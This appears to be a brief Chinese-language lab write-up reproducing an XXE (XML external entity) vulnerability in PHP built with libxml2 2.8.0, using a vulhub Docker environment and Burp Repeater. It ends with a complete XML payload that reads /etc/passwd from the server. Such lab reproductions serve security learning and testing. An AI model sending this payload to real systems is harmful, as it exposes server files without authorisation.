漏洞描述
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
影响范围
libxml2.8.0版本
复现过程
使用vulhub
cd /vulhub/php/php_xxe 进入目录
docker-compose up -d 启动
访问
抓包,刷新一下页面就行
发送到repeater
进行修改
在最后增加上这个代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
这样就获取到passwd的值了